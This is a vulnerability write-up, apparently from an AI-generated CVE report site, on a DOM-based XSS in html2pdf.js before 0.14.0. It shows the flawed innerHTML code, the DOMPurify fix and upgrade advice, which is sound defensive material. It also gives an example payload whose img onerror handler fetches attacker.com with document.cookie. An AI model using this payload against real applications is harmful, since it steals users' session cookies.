CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22787

PDFs, Promises, and Pain: Slicing Open html2pdf.js (CVE-2026-22787)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 19, 2026·5 min read·35 visits

Executive Summary (TL;DR)

Critical DOM XSS in html2pdf.js < 0.14.0. The library blindly assigned unsanitized HTML strings to `innerHTML`, attempting to remove `<script>` tags only *after* the browser had already parsed and executed inline event handlers. Fix: Upgrade to 0.14.0 which implements DOMPurify.

Generating PDFs on the backend is a nightmare of headless browsers and dependency hell. So, naturally, developers flocked to `html2pdf.js` to offload that pain to the client side. Unfortunately, prior to version 0.14.0, this library treated user input with the naive trust of a golden retriever. By attempting to filter malicious code *after* inserting it into the DOM, the library opened the door wide for DOM-based Cross-Site Scripting (XSS). This vulnerability allows attackers to execute arbitrary JavaScript simply by convincing a user (or an admin) to generate a PDF containing a malicious string.

The Hook: Client-Side Rendering is a Trap

Let's be honest: nobody likes generating PDFs. It's the digital equivalent of doing taxes. You have to mess with coordinates, fonts that don't load, and layout engines that behave like they're from 1998. Enter html2pdf.js. It promises a dream: give it an HTML string, and it gives you a shiny PDF using html2canvas and jspdf under the hood.

It works beautifully. Developers love it. They hook it up to invoice generators, report builders, and 'Export to PDF' buttons everywhere. And because it runs in the browser, nobody thinks about sanitization. "It's just client-side," they say. "What could go wrong?"

Everything. Everything could go wrong. Because when you take a string from a user and tell the browser "render this as HTML," you are essentially handing the keys to the kingdom to anyone who knows how to close an <img> tag.

The Flaw: The 'Hold My Beer' of Sanitization

The root cause here isn't just a bug; it's a fundamental misunderstanding of how browsers work. The vulnerability lies in the Worker class, specifically how it handles string input via the .from() method.

To convert a string of HTML into a PDF, the library first needs to render it into the DOM so html2canvas can take a picture of it. The developers did the obvious thing: they created a temporary container and set its content.

But they knew XSS was a risk. So, they implemented a mitigation. They decided to insert the HTML, and then look for <script> tags and remove them. This is the security equivalent of letting a burglar into your house and then asking them nicely to leave their guns at the door—after they've already shot you.

Browsers execute HTML sequentially and immediately. When you assign a string to innerHTML, the parser runs. If that string contains <img src=x onerror=alert(1)>, the browser attempts to load the image, fails, triggers the error, and executes the alert before the next line of JavaScript code even runs. The library's cleanup routine arrives too late to save the day.

The Code: Anatomy of a Failure

Let's look at the smoking gun in src/utils.js. This creates the element that will eventually be snapshotted.

The Vulnerable Code (Pre-0.14.0):

export const createElement = function createElement(tagName, opt) {
  var el = document.createElement(tagName);
  if (opt.className)  el.className = opt.className;
  
  if (opt.innerHTML) {
    // DANGER ZONE START
    el.innerHTML = opt.innerHTML; // <--- The fatal flaw
    var scripts = el.getElementsByTagName('script');
    // The futile attempt to clean up the mess
    for (var i = scripts.length; i-- > 0; null) {
      scripts[i].parentNode.removeChild(scripts[i]);
    }
    // DANGER ZONE END
  }
  return el;
};

See that el.innerHTML = opt.innerHTML? That is the exact moment the exploit fires. The for loop below it is effectively dead code security-wise. It removes <script> tags, sure, but it ignores onerror, onload, onmouseover, SVG scripts, and a dozen other vectors.

The Fix (v0.14.0):

The maintainers finally brought in the heavy artillery: DOMPurify. This library is the gold standard for HTML sanitization because it strips dangerous bits before the browser renders them.

import DOMPurify from 'dompurify';
 
export const createElement = function createElement(tagName, opt) {
  var el = document.createElement(tagName);
  if (opt.className) el.className = opt.className;
  
  if (opt.innerHTML) {
    // Sanitize BEFORE assignment
    el.innerHTML = DOMPurify.sanitize(opt.innerHTML);
  }
  return el;
};

The Exploit: Bypassing the Blacklist

Since the library was only filtering <script> tags (a classic blacklist failure), exploiting this is trivial for anyone who has passed XSS 101.

The Scenario: Imagine an internal dashboard where employees can customize their profile bio. The dashboard has a "Download Profile as PDF" feature using html2pdf.js. An attacker sets their bio to the payload below.

The Payload:

// We don't need <script> tags. We just need an event handler.
const payload = '<img src="nonexistent.jpg" onerror="fetch(\'https://attacker.com/steal?c=\' + document.cookie)">';
 
// When the victim clicks "Download PDF"...
html2pdf().from(payload).save();

The Execution Flow:

  1. The victim clicks "Export".
  2. html2pdf takes the bio string.
  3. It calls createElement.
  4. It sets innerHTML. The browser parses <img ...>.
  5. The browser fires onerror immediately.
  6. The cookie is sent to the attacker.
  7. The library checks for <script> tags, finds none, and proceeds to generate a PDF of the broken image. The crime is already done.

The Mitigation: Stop the Bleeding

If you are using html2pdf.js version 0.13.x or lower, you are vulnerable. The fix is straightforward, but you need to verify it actually applies to your build pipeline.

Primary Fix: Upgrade to version 0.14.0 or later. The maintainers added dompurify as a dependency.

npm install html2pdf.js@latest

Defense in Depth: Even with the patched library, trusting client-side sanitization entirely can be risky if the library configuration is loose. Ideally, you should sanitize HTML on the server-side before it ever reaches the client. If you must generate PDFs from user input, treat that input as radioactive material.

If you cannot upgrade immediately (legacy projects are fun, right?), you must manually sanitize the string before passing it to .from():

import DOMPurify from 'dompurify';
 
// Manually clean it before html2pdf touches it
const cleanHTML = DOMPurify.sanitize(dirtyInput);
html2pdf().from(cleanHTML).save();

Official Patches

eKoopmansGitHub Commit Fix

Fix Analysis (1)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
EPSS Probability
0.08%
Top 76% most exploited

Affected Systems

Web applications using html2pdf.js < 0.14.0Single Page Applications (SPAs) with PDF export featuresInvoice generatorsReport dashboards

Affected Versions Detail

Product
Affected Versions
Fixed Version
html2pdf.js
eKoopmans
< 0.14.00.14.0
AttributeDetail
CWE IDCWE-79 (Cross-Site Scripting)
Attack VectorNetwork (DOM-based)
CVSS v4.08.7 (High)
ImpactSession Hijacking, Arbitrary JS Execution
Exploit StatusProof of Concept Available
Patch Date2026-01-12

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

Yunus Aydın BlogOriginal technical analysis and PoC

Vulnerability Timeline

Vulnerability Discovered
2026-01-05
Patch Committed
2026-01-12
CVE Published
2026-01-14
PoC Released
2026-01-17

References & Sources

  • [1]GitHub Security Advisory
  • [2]NVD CVE Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 8 hours ago•GHSA-VJC7-JRH9-9J86
10.0

Unauthenticated CRUD and Sensitive Data Exposure in 9Router API Endpoints

An access control deficiency in the 9Router dashboard allows unauthenticated remote attackers to perform full CRUD operations on integrated AI providers, extract plaintext API keys, and access complete system conversation histories.

Amit Schendel
Amit Schendel
8 views•5 min read
•about 8 hours ago•CVE-2026-55790
7.4

CVE-2026-55790: DOM-Based Cross-Site Scripting in Craft CMS Support Widget

A DOM-based cross-site scripting (XSS) vulnerability exists in Craft CMS versions 4.0.0-RC1 through 4.17.15 and 5.0.0-RC1 through 5.9.22. The flaw resides within the CraftSupport widget's feedback search component, which fails to neutralize GitHub issue titles before rendering them into the administrator's control panel. An unauthenticated attacker can exploit this vulnerability by submitting a crafted issue to the public Craft CMS repository on GitHub.

Alon Barad
Alon Barad
8 views•7 min read
•about 9 hours ago•CVE-2026-55793
5.9

CVE-2026-55793: Stored DOM-Based Cross-Site Scripting in Craft CMS ElementTableSorter

CVE-2026-55793 is a DOM-based Stored Cross-Site Scripting (XSS) vulnerability affecting Craft CMS versions 5.0.0-RC1 through 5.9.22. An authenticated user with minimum Author privileges can store a malicious payload in an entry's title. When an administrator or high-privileged user performs a drag-and-drop operation under the modified entry in the structure table view, the unescaped payload is retrieved and concatenated into raw HTML, resulting in arbitrary JavaScript execution within the context of the administrative session.

Alon Barad
Alon Barad
7 views•8 min read
•about 9 hours ago•CVE-2026-55794
8.7

CVE-2026-55794: Authenticated Remote Code Execution via Template Injection in Craft CMS

Craft CMS versions 5.9.0 through 5.9.9 are vulnerable to authenticated Remote Code Execution (RCE). An attacker with control panel permissions to edit entries can inject malicious Twig templates into the client-side HTTP Referer header. During the post-save redirect sequence, the server evaluates this user-controlled header using an unsandboxed Twig rendering function, leading to arbitrary system command execution.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 10 hours ago•GHSA-CGFV-JRFP-2R7V
8.5

GHSA-cgfv-jrfp-2r7v: Authenticated SQL Injection in OpenRemote Datapoint Crosstab Export

An authenticated SQL injection vulnerability exists in the datapoint crosstab export functionality of OpenRemote. The vulnerability is caused by insecure manual SQL string construction that concatenates user-controlled display data, specifically asset display names and attribute names, directly into raw SQL statements. These statements are processed by the PostgreSQL database engine using the crosstab function to structure dynamic CSV outputs.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 10 hours ago•GHSA-QRWJ-VH9X-GW5V
8.0

GHSA-QRWJ-VH9X-GW5V: Cross-Agent Server-Side Request Forgery and Remote Code Execution in Coder Workspace Agent

An insecure redirect vulnerability in Coder allows an authenticated attacker who controls a workspace agent to perform unauthorized cross-agent file operations and achieve remote code execution in other workspaces. By exploiting default redirect-following behavior in the control-plane's HTTP client, a malicious agent can redirect legitimate requests to a victim's deterministic tailnet IP address.

Amit Schendel
Amit Schendel
6 views•5 min read